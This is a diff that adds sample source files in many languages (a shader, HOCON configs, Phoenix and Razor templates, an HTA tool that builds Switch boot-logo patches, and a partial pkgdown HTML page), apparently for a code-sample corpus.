+// From https://github.com/Unity-Technologies/PostProcessing/blob/master/PostProcessing/Resources/Shaders/Bloom.cginc
+// Licensed under the MIT license
+
+#ifndef __BLOOM__
+#define __BLOOM__
+
+#include "Common.cginc"
+
+// Brightness function
+half Brightness(half3 c)
+{
+    return Max3(c);
+}
+
+// 3-tap median filter
+half3 Median(half3 a, half3 b, half3 c)
+{
+    return a + b + c - min(min(a, b), c) - max(max(a, b), c);
+}
+
+// Downsample with a 4x4 box filter
+half3 DownsampleFilter(sampler2D tex, float2 uv, float2 texelSize)
+{
+    float4 d = texelSize.xyxy * float4(-1.0, -1.0, 1.0, 1.0);
+
+    half3 s;
+    s = DecodeHDR(tex2D(tex, uv + d.xy));
+    s += DecodeHDR(tex2D(tex, uv + d.zy));
+    s += DecodeHDR(tex2D(tex, uv + d.xw));
+    s += DecodeHDR(tex2D(tex, uv + d.zw));
+
+    return s * (1.0 / 4.0);
+}
+
+// Downsample with a 4x4 box filter + anti-flicker filter
+half3 DownsampleAntiFlickerFilter(sampler2D tex, float2 uv, float2 texelSize)
+{
+    float4 d = texelSize.xyxy * float4(-1.0, -1.0, 1.0, 1.0);
+
+    half3 s1 = DecodeHDR(tex2D(tex, uv + d.xy));
+    half3 s2 = DecodeHDR(tex2D(tex, uv + d.zy));
+    half3 s3 = DecodeHDR(tex2D(tex, uv + d.xw));
+    half3 s4 = DecodeHDR(tex2D(tex, uv + d.zw));
+
+    // Karis's luma weighted average (using brightness instead of luma)
+    half s1w = 1.0 / (Brightness(s1) + 1.0);
+    half s2w = 1.0 / (Brightness(s2) + 1.0);
+    half s3w = 1.0 / (Brightness(s3) + 1.0);
+    half s4w = 1.0 / (Brightness(s4) + 1.0);
+    half one_div_wsum = 1.0 / (s1w + s2w + s3w + s4w);
+
+    return (s1 * s1w + s2 * s2w + s3 * s3w + s4 * s4w) * one_div_wsum;
+}
+
+half3 UpsampleFilter(sampler2D tex, float2 uv, float2 texelSize, float sampleScale)
+{
+#if MOBILE_OR_CONSOLE
+    // 4-tap bilinear upsampler
+    float4 d = texelSize.xyxy * float4(-1.0, -1.0, 1.0, 1.0) * (sampleScale * 0.5);
+
+    half3 s;
+    s =  DecodeHDR(tex2D(tex, uv + d.xy));
+    s += DecodeHDR(tex2D(tex, uv + d.zy));
+    s += DecodeHDR(tex2D(tex, uv + d.xw));
+    s += DecodeHDR(tex2D(tex, uv + d.zw));
+
+    return s * (1.0 / 4.0);
+#else
+    // 9-tap bilinear upsampler (tent filter)
+    float4 d = texelSize.xyxy * float4(1.0, 1.0, -1.0, 0.0) * sampleScale;
+
+    half3 s;
+    s =  DecodeHDR(tex2D(tex, uv - d.xy));
+    s += DecodeHDR(tex2D(tex, uv - d.wy)) * 2.0;
+    s += DecodeHDR(tex2D(tex, uv - d.zy));
+
+    s += DecodeHDR(tex2D(tex, uv + d.zw)) * 2.0;
+    s += DecodeHDR(tex2D(tex, uv))        * 4.0;
+    s += DecodeHDR(tex2D(tex, uv + d.xw)) * 2.0;
+
+    s += DecodeHDR(tex2D(tex, uv + d.zy));
+    s += DecodeHDR(tex2D(tex, uv + d.wy)) * 2.0;
+    s += DecodeHDR(tex2D(tex, uv + d.xy));
+
+    return s * (1.0 / 16.0);
+#endif
+}
+
+#endif // __BLOOM__
\ No newline at end of file
diff --git a/samples/HOCON/application.hocon b/samples/HOCON/application.hocon
new file mode 100644
index 0000000000..5a9425dbcb
--- /dev/null
+++ b/samples/HOCON/application.hocon
@@ -0,0 +1,164 @@
+# Copyright 2022 HM Revenue & Customs
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+include "frontend.conf"
+
+appName = "penalties-frontend"
+play.http.router = prod.Routes
+
+# An ApplicationLoader that uses Guice to bootstrap the application.
+play.application.loader = "uk.gov.hmrc.play.bootstrap.ApplicationLoader"
+
+# Primary entry point for all HTTP requests on Play applications
+play.http.requestHandler = "uk.gov.hmrc.play.bootstrap.http.RequestHandler"
+
+# Provides an implementation of AuditConnector. Use `uk.gov.hmrc.play.bootstrap.AuditModule` or create your own.
+# An audit connector must be provided.
+play.modules.enabled += "uk.gov.hmrc.play.audit.AuditModule"
+
+# Provides an implementation of MetricsFilter. Use `uk.gov.hmrc.play.bootstrap.graphite.GraphiteMetricsModule` or create your own.
+# A metric filter must be provided
+play.modules.enabled += "uk.gov.hmrc.play.bootstrap.graphite.GraphiteMetricsModule"
+
+# Provides an implementation and configures all filters required by a Platform frontend microservice.
+play.modules.enabled += "uk.gov.hmrc.play.bootstrap.frontend.FrontendModule"
+
+# Default http client
+play.modules.enabled += "uk.gov.hmrc.play.bootstrap.HttpClientModule"
+
+# Auth client module
+play.modules.enabled += "uk.gov.hmrc.play.bootstrap.AuthModule"
+
+# Custom error handler
+play.http.errorHandler = "config.ErrorHandler"
+
+play.filters.headers.contentSecurityPolicy = "default-src 'self' 'unsafe-inline' localhost:9000 localhost:9032 localhost:12345 www.google-analytics.com https://www.googletagmanager.com data:"
+
+# Play Modules
+# ~~~~
+# Additional play modules can be added here
+
+microservice {
+  metrics {
+    graphite {
+      host = localhost
+      port = 2003
+      prefix = play.${appName}.
+      enabled = true
+    }
+  }
+
+  services {
+    contact-frontend {
+      protocol = http
+      host = localhost
+      port = 9250
+    }
+
+    auth {
+      host = localhost
+      port = 8500
+    }
+
+    penalties {
+      protocol = http
+      host = localhost
+      port = 9182
+    }
+
+    vat-agent-client-lookup-frontend {
+      host = "http://localhost:9152"
+      startUrl = "/vat-through-software/test-only/vaclf-stub"
+    }
+  }
+}
+
+feature {
+  switch {
+    call-api-1812-etmp = false
+    time-machine-now = ""
+  }
+}
+
+urls {
+  vatOverview = "http://localhost:9152/vat-through-software/vat-overview"
+  btaHomepage = "http://localhost:9020/business-account"
+  vatAgentClientLookUp = "http://localhost:9149/vat-through-software/representative/client-vat-account"
+  penaltiesAppealsBaseurl = "http://localhost:9181"
+}
+
+metrics {
+  name = ${appName}
+  rateUnit = SECONDS
+  durationUnit = SECONDS
+  showSamples = true
+  jvm = true
+  enabled = false
+}
+
+auditing {
+  enabled = true
+  traceRequests = true
+  consumer {
+    baseUri {
+      host = localhost
+      port = 8100
+    }
+  }
+}
+
+controllers {
+  controllers.Assets = {
+    needsAuditing = false
+  }
+
+  uk.gov.hmrc.govukfrontend.controllers.Assets = {
+    needsAuditing = false
+  }
+
+  uk.gov.hmrc.hmrcfrontend.controllers.Assets = {
+      needsAuditing = false
+  }
+}
+
+tracking-consent-frontend {
+  gtm.container = "b"
+}
+
+signIn {
+  url = "http://localhost:9949/auth-login-stub/gg-sign-in"
+  continueBaseUrl = "http://localhost:9180"
+}
+
+signOut {
+  url = "http://localhost:9553/bas-gateway/sign-out-without-state?continue="
+}
+
+play.i18n.langs = ["en", "cy"]
+
+# Change this value to true to enable Welsh translations to be loaded from messages.cy, and to display the language toggle
+features.welsh-language-support = true
+
+timeout {
+  period = 900
+  countDown = 120
+}
+
+feedback {
+  url = "#"
+}
+
+contact-frontend.serviceId = "vat-penalties"
+
+host = "http://localhost:9180"
diff --git a/samples/HOCON/filenames/.scalafix.conf b/samples/HOCON/filenames/.scalafix.conf
new file mode 100644
index 0000000000..8b766ac7a0
--- /dev/null
+++ b/samples/HOCON/filenames/.scalafix.conf
@@ -0,0 +1,19 @@
+rules = [
+  ExplicitResultTypes,
+  OrganizeImports
+]
+
+ExplicitResultTypes {
+  unsafeShortenNames = true
+}
+OrganizeImports {
+ groupedImports = Explode
+ expandRelative = true
+ removeUnused = true # done already by RemoveUnused rule
+ groups = [
+   "re:javax?\\."
+   "scala."
+   "scala.meta."
+   "*"
+ ]
+}
\ No newline at end of file
diff --git a/samples/HOCON/filenames/.scalafmt.conf b/samples/HOCON/filenames/.scalafmt.conf
new file mode 100644
index 0000000000..4779ad9779
--- /dev/null
+++ b/samples/HOCON/filenames/.scalafmt.conf
@@ -0,0 +1,14 @@
+version=3.7.3
+runner.dialect = scala213
+project.git = true
+project.excludeFilters = [
+  scalafmt-benchmarks/src/resources,
+  sbt-test
+  bin/issue
+]
+align.preset = none
+# Disabled in default since this operation is potentially
+# dangerous if you define your own stripMargin with different
+# semantics from the stdlib stripMargin.
+assumeStandardLibraryStripMargin = true
+onTestFailure = "To fix this, run ./scalafmt from the project root directory"
\ No newline at end of file
diff --git a/samples/HOCON/stream-collector.hocon b/samples/HOCON/stream-collector.hocon
new file mode 100644
index 0000000000..7ca4027056
--- /dev/null
+++ b/samples/HOCON/stream-collector.hocon
@@ -0,0 +1,82 @@
+collector {
+  interface = "0.0.0.0"
+  port = 8080
+
+  p3p {
+    policyRef = "/w3c/p3p.xml"
+    CP = "NOI DSP COR NID PSA OUR IND COM NAV STA"
+  }
+
+  crossDomain {
+    enabled = false
+    domains = [ "*" ]
+    secure = false
+  }
+
+  cookie {
+    enabled = false
+    expiration = "365 days"
+    name = collectorCookieName
+    domain = cookieDomain
+  }
+
+  doNotTrackCookie {
+    enabled = false
+    name = doNotTrackCookieName
+    value = doNotTrackCookieValue
+  }
+
+  cookieBounce {
+    enabled = false
+    name = "n3pc"
+    fallbackNetworkUserId = "00000000-0000-4000-A000-000000000000"
+    forwardedProtocolHeader = "X-Forwarded-Proto"
+  }
+
+  redirectMacro {
+    enabled = false
+    placeholder = "[TOKEN]"
+  }
+
+  rootResponse {
+    enabled = false
+    statusCode = 302
+    headers = {
+        Location = "https://127.0.0.1/",
+        X-Custom = "something"
+    }
+    body = "302, redirecting"
+  }
+  
+  streams {
+    good = raw
+    bad = bad
+    useIpAddressAsPartitionKey = false
+
+    sink {
+      enabled = nsq
+      host = nsqd
+      port = 4150
+    }
+
+    buffer {
+      byteLimit = 100
+      recordLimit = 1 # emit every record for testing purposes - NOT suitable for prod
+      timeLimit = 100
+    }
+  }
+}
+
+akka {
+  loglevel = DEBUG
+  loggers = ["akka.event.slf4j.Slf4jLogger"]
+
+  http.server {
+    remote-address-header = on
+    raw-request-uri-header = on
+    parsing {
+      max-uri-length = 32768
+      uri-parsing-mode = relaxed
+    }
+  }
+}
\ No newline at end of file
diff --git a/samples/HTML+EEX/live_component.html.heex b/samples/HTML+EEX/live_component.html.heex
new file mode 100644
index 0000000000..7f185d4b5c
--- /dev/null
+++ b/samples/HTML+EEX/live_component.html.heex
@@ -0,0 +1,20 @@
+<div>
+  <h2><%%= @title %></h2>
+
+  <.form
+    let={f}
+    for={@changeset}
+    id="<%= schema.singular %>-form"
+    phx-target={@myself}
+    phx-change="validate"
+    phx-submit="save">
+  <%= for {label, input, error} <- inputs, input do %>
+    <%= label %>
+    <%= input %>
+    <%= error %>
+  <% end %>
+    <div>
+      <%%= submit "Save", phx_disable_with: "Saving..." %>
+    </div>
+  </.form>
+</div>
diff --git a/samples/HTML+EEX/live_component.html.leex b/samples/HTML+EEX/live_component.html.leex
new file mode 100644
index 0000000000..a5be747280
--- /dev/null
+++ b/samples/HTML+EEX/live_component.html.leex
@@ -0,0 +1,14 @@
+<h2><%= @title %></h2>
+
+<%= f = form_for @changeset, "#",
+  id: "form",
+  phx_target: @myself,
+  phx_change: "validate",
+  phx_submit: "save" %>
+<%= for {label, input, error} <- inputs, input do %>
+  <%= label %>
+  <%= input %>
+  <%= error %>
+<% end %>
+  <%= submit "Save", phx_disable_with: "Saving..." %>
+</form>
diff --git a/samples/HTML+ERB/index.rhtml b/samples/HTML+ERB/index.rhtml
new file mode 100644
index 0000000000..ce2a9908ed
--- /dev/null
+++ b/samples/HTML+ERB/index.rhtml
@@ -0,0 +1,68 @@
+<%= render :partial => 'header' %>
+<table>
+  <tr>
+    <td>Age group</td>
+    <td id='headers'>U5</td>
+    <td id='headers'>5-14</td>
+    <td id='headers'>>14</td>
+    <td id='headers'>Total</td>
+  </tr>
+  <tr class="header">
+    <td>Diagnosis</td>
+    <%4.times do%>
+    <td><table><tr><td id="headers">M</td><td id="headers">F</td></tr></table></td>
+    <%end%>
+  </tr>
+  <% 
+      counter = 0 
+    @diagnoses.each{|diagnosis|
+      #raise  diagnosis.to_yaml and return
+      count_male_under_five = 0
+      count_female_under_five = 0
+      count_male_in_between = 0
+      count_female_in_between = 0
+      count_male_above_fourteen = 0
+      count_female_above_fourteen = 0
+      @patient_record.each{|patient|
+        if patient['value_coded'].to_s == diagnosis.value_coded
+          if (patient['age'].to_i < 5 )
+            if (patient['sex'].to_s == 'Male')
+              count_male_under_five += 1
+            else
+              count_female_under_five += 1
+            end
+          elsif (patient['age'].to_i >= 5 and patient['age'].to_i <= 14)
+            if (patient['sex'].to_s == 'Male')
+              count_male_in_between += 1
+            else
+              count_female_in_between += 1
+            end
+          elsif (patient['age'].to_i > 14 )
+            if (patient['sex'].to_s == 'Male')
+              count_male_above_fourteen += 1
+            else
+              count_female_above_fourteen += 1
+            end
+          end
+        end 
+      }
+     counter += 1 
+  %>
+  <tr style='background-color: <%=counter % 2 == 0 ? "white" : "lightgrey"%>'>
+    <td><%= diagnosis.name%></td>
+    <td><table>
+        <tr><td id="values"><%= count_male_under_five %></td><td id="values"><%= count_female_under_five %></td></tr>
+    </table></td>
+    <td><table><tr><td id="values"><%= count_male_in_between%></td><td id="values"><%= count_female_in_between%></td></tr></table></td>
+    <td><table>
+        <tr><td id="values"><%= count_male_above_fourteen %></td><td id="values"><%= count_female_above_fourteen%></td></tr>
+    </table></td>
+    <td>
+      <table>
+        <tr><td id="values"><%= count_male_under_five + count_male_in_between + count_male_above_fourteen %></td>
+          <td id="values"><%= count_female_under_five + count_female_in_between + count_female_above_fourteen%></td></tr>
+    </table></td>
+  </tr>
+  <% }%>
+</table>
+
diff --git a/samples/C#/Index.cshtml b/samples/HTML+Razor/Index.cshtml
similarity index 99%
rename from samples/C#/Index.cshtml
rename to samples/HTML+Razor/Index.cshtml
index f7aa29c678..5127ce2882 100644
--- a/samples/C#/Index.cshtml
+++ b/samples/HTML+Razor/Index.cshtml
@@ -1,4 +1,4 @@
-@{
+@{
     ViewBag.Title = "Home Page";
 }
 @section featured {
diff --git a/samples/HTML+Razor/Index.razor b/samples/HTML+Razor/Index.razor
new file mode 100644
index 0000000000..13eafa8c73
--- /dev/null
+++ b/samples/HTML+Razor/Index.razor
@@ -0,0 +1,115 @@
+@page "/"
+@using Microsoft.AspNetCore.Components.Forms
+
+<div class="px-4 py-4">
+    <h3>Components's team manager</h3>
+    <h5>People management made easy</h5>
+</div>
+
+<div class="px-4 py-4 grow">
+    <table class="table">
+        <thead>
+            <tr>
+                <th>Name</th>
+                <th>Salary</th>
+                <th>Areas</th>
+                <th>Actions</th>
+            </tr>
+        </thead>
+        <tbody>
+            @if (people.Count > 0)
+            {
+                @foreach (var person in people)
+                {
+                    <tr>
+                        <td>@person.Name</td>
+                        <td>@person.Salary</td>
+                        <td>@(string.Join(", ", person.Areas.Select(a => $"{a.Name}: {(a.Percent.ToString("g") + "%")}")))</td>
+                        <td>
+                            <a onclick="@((e) => Fire(person))" class="btn btn-danger">Fire</a>
+                            <a onclick="@((e) => Edit(person))" class="btn btn-secondary">Edit</a>
+                        </td>
+                    </tr>
+                }
+            }
+            else
+            {
+                <tr><td colspan="4">Noone here (so sad)...</td></tr>
+            }
+        </tbody>
+    </table>
+</div>
+
+@if (showEditorForCreate || showEditorForEdit)
+{
+    <div class="modal">
+        <div class="modal-content">
+            <EmployeeEditor OnCancel="@CloseEditor" OnConfirm="@OnConfirm" Person="@person" />
+        </div>
+    </div>
+}
+
+<div class="px-4 py-2 status">
+    <button class="btn btn-primary" onclick="@Hire">Hire Someone...</button>
+    <label>@people.Count Employees</label>
+</div>
+
+
+@functions {
+    List<Person> people = new List<Person>();
+    Person person;
+
+    int? editIndex;
+    bool showEditorForCreate;
+    bool showEditorForEdit;
+
+    void Hire()
+    {
+        person = new Person()
+        {
+            Areas =
+            {
+                new FeatureArea(),
+            },
+        };
+        showEditorForCreate = true;
+    }
+
+    void Fire(Person person)
+    {
+        people.Remove(person);
+    }
+
+    void Edit(Person person)
+    {
+        // Don't edit this object directly - we don't want to propagate edits
+        // when the user cancels
+        this.person = new Person(person);
+        editIndex = people.IndexOf(person);
+        showEditorForEdit = true;
+    }
+
+    void CloseEditor()
+    {
+        showEditorForCreate = false;
+        showEditorForEdit = false;
+        editIndex = null;
+        person = null;
+        StateHasChanged();
+    }
+
+    void OnConfirm()
+    {
+        if (showEditorForCreate)
+        {
+            people.Add(person);
+        }
+        else
+        {
+            people[editIndex.Value] = person;
+        }
+
+        CloseEditor();
+        StateHasChanged();
+    }
+}
\ No newline at end of file
diff --git a/samples/HTML/Crear_logo.hta b/samples/HTML/Crear_logo.hta
new file mode 100644
index 0000000000..449d25c67b
--- /dev/null
+++ b/samples/HTML/Crear_logo.hta
@@ -0,0 +1,121 @@
+<html>
+<HEAD>
+<HTA:APPLICATION ID="oHTA"
+     APPLICATIONNAME="myApp"
+     BORDER="thin"
+     BORDERSTYLE="normal"
+     CAPTION="yes"
+     ICON="icon.ico"
+	 SCROLL="no"
+     MAXIMIZEBUTTON="no"
+     MINIMIZEBUTTON="no"
+     SHOWINTASKBAR="yes"
+     SINGLEINSTANCE="yes"
+     SYSMENU="yes"
+     VERSION="-.-"
+	 CONTEXTMENU="no"
+     WINDOWSTATE="normal"/>  
+<SCRIPT Language="VBScript">
+Sub Window_onLoad
+On Error Resume Next
+    window.resizeTo 400 , 205
+	Set objFSO = CreateObject("Scripting.FileSystemObject")
+	Set f = objFSO.OpenTextFile("V")
+	document.title= document.title & f.ReadLine
+	
+	For Each objFolder In objFSO.GetFolder("AAA").SubFolders
+		Set opt = document.createElement("option")
+		myselect.options.add(opt)
+		opt.text = objFolder.Name
+		opt.value = objFolder.Name
+		opt.value = objFolder.Name
+		opt.title="Hacer Solo "+objFolder.Name
+	Next
+End Sub
+
+Sub SelectFile
+    If (comenz.style.display = "none") Then Exit Sub End If
+    strPath = ""
+    strStartPath = ""
+    strFilter = "Image (*.png;)|*.png;|All Files (*.*)|*.*|"
+    strCaption = "Select a File"
+    strPath = Dlg.openfiledlg(CStr(strStartPath), , CStr(strFilter), CStr(strCaption))
+    If(strPath = "") Then 
+    else
+    prev.src=strPath
+    End If
+End Sub
+
+Sub Process
+On Error Resume Next
+    'Get file path from INPUT
+    Dim file: file = prev.src
+    file = Replace (file , "file:///" ,"")
+    file = Replace (file , "%20" ," ")
+    Dim selects: selects = myselect.Value
+
+    'hide and show buttons
+    logs.style.display= "table"
+    comenz.style.display= "none"
+    brow.style.display= "none"
+    myselect.style.display= "none"
+    
+    Set objShell = CreateObject("Wscript.Shell")
+    objShell.Run "cmd /c rmdir ips /s/q",0,true    
+    objShell.Run "cmd /c mkdir ips",0,true
+
+    Set objFSO = CreateObject("Scripting.FileSystemObject")
+
+    If(selects = "all") Then 
+        For Each objFolder In objFSO.GetFolder("AAA").SubFolders
+            logs.Value= "Creando ips para "+objFolder.Name
+            objShell.Run "dist\pito\pito.exe AAA\"+objFolder.Name+" "+Chr(34)+file+Chr(34),0,true
+        Next
+    else
+        logs.Value= "Creando ips para "+selects
+        objShell.Run "dist\pito\pito.exe "+Chr(34)+"AAA\"+selects+Chr(34)+" "+Chr(34)+file+Chr(34),0,true
+    End If
+
+    dim folder: set folder = objFSO.getFolder("ips")
+    if folder.files.Count = 0 then
+        objShell.PopUp "Ha Habido un error convirtiendo:"& vbCrLf& file &" ",8,"Fallido",16
+    else
+        objShell.Run "cmd /c mkdir ips\atmosphere\exefs_patches\logo",0,true
+        objShell.Run "cmd /c mkdir ips\sxos\exefs_patches\logo",0,true
+        objShell.Run "cmd /c xcopy /Y/I ips\*.ips ips\atmosphere\exefs_patches\logo\",0,true    
+        objShell.Run "cmd /c move /y ips\*.ips ips\sxos\exefs_patches\logo\",0,true    
+        logs.Value= "Terminado"
+        objShell.PopUp "Termine con  "& file &", revisa IPS",8,"Terminado",64
+        objShell.Run "cmd /c explorer ips",0,true
+    End If
+    
+    'hide and show buttons
+    logs.style.display= "none"
+    comenz.style.display= "table"
+    brow.style.display= "table"
+    myselect.style.display= "table"
+End Sub
+</SCRIPT>
+</HEAD>
+<body style="background-color: #60b6eb; color: black;text-align: left;" id="body">
+<title>Logo para Switch -.- v</title>
+<p title="Esta es una Herramienta para cambiar el logo a la Nintendo Switch" style="background-color: #a5cbf0">
+&nbsp;PNG To IPS Logo Creator 1.0.0-.-12.x.x<br>
+&nbsp;&nbsp;&nbsp;"PNG" "308x350" "RGBA"<br>
+</p>
+<input type="text" name="logs" style="display: none" size="30">
+<!-- Posision Fija -->
+<img name="prev" onmouseenter="prev.style.border='2px solid #0994ed'" onmouseleave="prev.style.border='2px solid white'" title="Cambiar Icono" src="temp.png" alt="none" style="position:absolute;right:10;top:15; width:80px;border: 2px solid white;" onClick="SelectFile">
+<select title="Firmware Objetivo" style="border: none; position:absolute;right:10;top:110; width:80px; height:80px;border: 2px solid white;" name="myselect"><option  title="Make ALL" value="all">Todos</option></select>
+<input title="Crear LOGO" onmouseenter="comenz.style.border='2px solid #0994ed'" onmouseleave="comenz.style.border='2px solid white'" style="background-color: #056aab; position:absolute;left:10;bottom:10; border: 2px solid white; padding: 10px 15px;	color: white;	font-size: 14px;" type="button" name="comenz" onClick="Process" value="Convertir">
+<p id="Credit" title="Los Culpables" style="position:absolute;right:10;bottom:5;" onmouseenter="Credit.style.background='#a5cbf0'" onmouseleave="Credit.style.background=''">By D3fau4 & Kronos2308</p>
+
+<OBJECT id=Dlg classid="CLSID:3050F4E1-98B5-11CF-BB82-00AA00BDCE0B" width=0 height=0>
+</body>
+<!--
+<input style="background-color: #0994ed; border: 2px solid white;	color: white;" type="button" name="brow" onClick="SelectFile" value="Browse..."><br><br>
+<img name="prev" src="temp.png" alt="none" style="width:50px; height:55px;"><br>
+0100000000000023
+010000000000002D
+-->
+</html>
\ No newline at end of file
diff --git a/samples/HTML/pkgdown.html b/samples/HTML/pkgdown.html
new file mode 100644
index 0000000000..d918a057f0
--- /dev/null
+++ b/samples/HTML/pkgdown.html
@@ -0,0 +1,242 @@
+<!DOCTYPE html>
+<!-- Generated by pkgdown: do not edit by hand --><html lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
+<meta charset="utf-8">
+<meta http-equiv="X-UA-Compatible" content="IE=edge">
+<meta name="viewport" content="width=device-width, initial-scale=1.0">
+<title>Make Static HTML Documentation for a Package • pkgdown</title>
+<link rel="shortcut icon" type="image/x-icon" href="favicon.ico">
+<!-- jquery --><script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js" integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8=" crossorigin="anonymous"></script><!-- Bootstrap --><link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
+<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script><!-- Font Awesome icons --><link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.6.3/css/font-awesome.min.css" rel="stylesheet" integrity="sha384-T8Gy5hrqNKT+hzMclPo118YTQO6cYprQmhrYwIiQ/3axmI1hQomh7Ud2hPOy8SP1" crossorigin="anonymous">
+<!-- clipboard.js --><script src="https://cdnjs.cloudflare.com/ajax/libs/clipboard.js/2.0.1/clipboard.min.js" integrity="sha256-hIvIxeqhGZF+VVeM55k0mJvWpQ6gTkWk3Emc+NmowYA=" crossorigin="anonymous"></script><!-- sticky kit --><script src="https://cdnjs.cloudflare.com/ajax/libs/sticky-kit/1.1.3/sticky-kit.min.js" integrity="sha256-c4Rlo1ZozqTPE2RLuvbusY3+SU1pQaJC0TjuhygMipw=" crossorigin="anonymous"></script><!-- pkgdown --><link href="pkgdown.css" rel="stylesheet">
+<script src="pkgdown.js"></script><!-- docsearch --><script src="docsearch.js"></script><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/docsearch.js@2/dist/cdn/docsearch.min.css">
+<link href="docsearch.css" rel="stylesheet">
+<script src="https://cdnjs.cloudflare.com/ajax/libs/mark.js/8.11.1/jquery.mark.min.js" integrity="sha256-4HLtjeVgH0eIB3aZ9mLYF6E8oU5chNdjU6p6rrXpl9U=" crossorigin="anonymous"></script><meta property="og:title" content="Make Static HTML Documentation for a Package">
+<meta property="og:description" content="Generate an attractive and useful website from a source package.
+    'pkgdown' converts your documentation, vignettes, 'README', and more to 
+    'HTML' making it easy to share information about your package online.">
+<meta property="og:image" content="http://pkgdown.r-lib.org/logo.png">
+<meta name="twitter:card" content="summary">
+<!-- mathjax --><script src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script><!--[if lt IE 9]>
+<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
+<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
+<![endif]-->
+</head>
+<body>
+    <div class="container template-article">
+      <header><div class="navbar navbar-default navbar-fixed-top" role="navigation">
+  <div class="container">
+    <div class="navbar-header">
+      <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false">
+        <span class="sr-only">Toggle navigation</span>
+        <span class="icon-bar"></span>
+        <span class="icon-bar"></span>
+        <span class="icon-bar"></span>
+      </button>
+      <span class="navbar-brand">
+        <a class="navbar-link" href="index.html">pkgdown</a>
+        <span class="label label-danger" data-toggle="tooltip" data-placement="bottom" title="Unreleased version">1.1.0.9000</span>
+      </span>
+    </div>
+
+    <div id="navbar" class="navbar-collapse collapse">
+      <ul class="nav navbar-nav">
+<li>
+  <a href="index.html">
+    <span class="fa fa-home fa-lg"></span>
+     
+  </a>
+</li>
+<li>
+  <a href="articles/pkgdown.html">Get started</a>
+</li>
+<li>
+  <a href="reference/index.html">Reference</a>
+</li>
+<li class="dropdown">
+  <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-expanded="false">
+    Articles
+     
+    <span class="caret"></span>
+  </a>
+  <ul class="dropdown-menu" role="menu">
+<li>
+      <a href="articles/test/details.html">Test: Details tag</a>
+    </li>
+    <li>
+      <a href="articles/test/external.html">Test: External file tests</a>
+    </li>
+    <li>
+      <a href="articles/test/figures.html">Test: Figures</a>
+    </li>
+    <li>
+      <a href="articles/test/highlight.html">Test: Highlighting</a>
+    </li>
+    <li>
+      <a href="articles/test/jss.pdf">Test: JSS article (PDF)</a>
+    </li>
+    <li>
+      <a href="articles/test/output.html">Test: Custom output</a>
+    </li>
+    <li>
+      <a href="articles/test/pdf.pdf">Test: PDF (PDF)</a>
+    </li>
+    <li>
+      <a href="articles/test/widget.html">Test: Widgets</a>
+    </li>
+  </ul>
+</li>
+<li>
+  <a href="news/index.html">Changelog</a>
+</li>
+      </ul>
+<ul class="nav navbar-nav navbar-right">
+<li>
+  <a href="https://github.com/r-lib/pkgdown">
+    <span class="fa fa-github fa-lg"></span>
+     
+  </a>
+</li>
+      </ul>
+<form class="navbar-form navbar-right" role="search">
+        <div class="form-group">
+          <input type="search" class="form-control" name="search-input" id="search-input" placeholder="Search..." aria-label="Search for..." autocomplete="off">
+</div>
+      </form>
+      
+    </div>
+<!--/.nav-collapse -->
+  </div>
+<!--/.container -->
+</div>
+<!--/.navbar -->
+
+      
+      </header><div class="row">
+  <div class="col-md-9 contents">
+    
+
+    
+    
+<!-- README.md is generated from README.Rmd. Please edit that file -->
+<div id="pkgdown" class="section level1">
+<div class="page-header"><h1 class="hasAnchor">
+<a href="#pkgdown" class="anchor"></a>pkgdown <img src="reference/figures/logo.png" align="right" alt="">
+</h1></div>
+
+<p>pkgdown is designed to make it quick and easy to build a website for your package. You can see pkgdown in action at <a href="https://pkgdown.r-lib.org" class="uri">https://pkgdown.r-lib.org</a>: this is the output of pkgdown applied to the latest version of pkgdown. Learn more in <code><a href="articles/pkgdown.html">vignette("pkgdown")</a></code> or <code><a href="reference/build_site.html">?build_site</a></code>.</p>
+<div id="installation" class="section level2">
+<h2 class="hasAnchor">
+<a href="#installation" class="anchor"></a>Installation</h2>
+<div class="sourceCode" id="cb1"><pre class="sourceCode r"><code class="sourceCode r"><a class="sourceLine" id="cb1-1" data-line-number="1"><span class="co"># Install release version from CRAN</span></a>
+<a class="sourceLine" id="cb1-2" data-line-number="2"><span class="kw">install.packages</span>(<span class="st">"pkgdown"</span>)</a>
+<a class="sourceLine" id="cb1-3" data-line-number="3"></a>
+<a class="sourceLine" id="cb1-4" data-line-number="4"><span class="co"># Install development version from GitHub</span></a>
+<a class="sourceLine" id="cb1-5" data-line-number="5">devtools<span class="op">::</span><span class="kw"><a href="http://www.rdocumentation.org/packages/devtools/topics/install_github">install_github</a></span>(<span class="st">"r-lib/pkgdown"</span>)</a></code></pre></div>
+</div>
+<div id="usage" class="section level2">
+<h2 class="hasAnchor">
+<a href="#usage" class="anchor"></a>Usage</h2>
+<p>Run pkgdown from the package directory each time you release your package:</p>
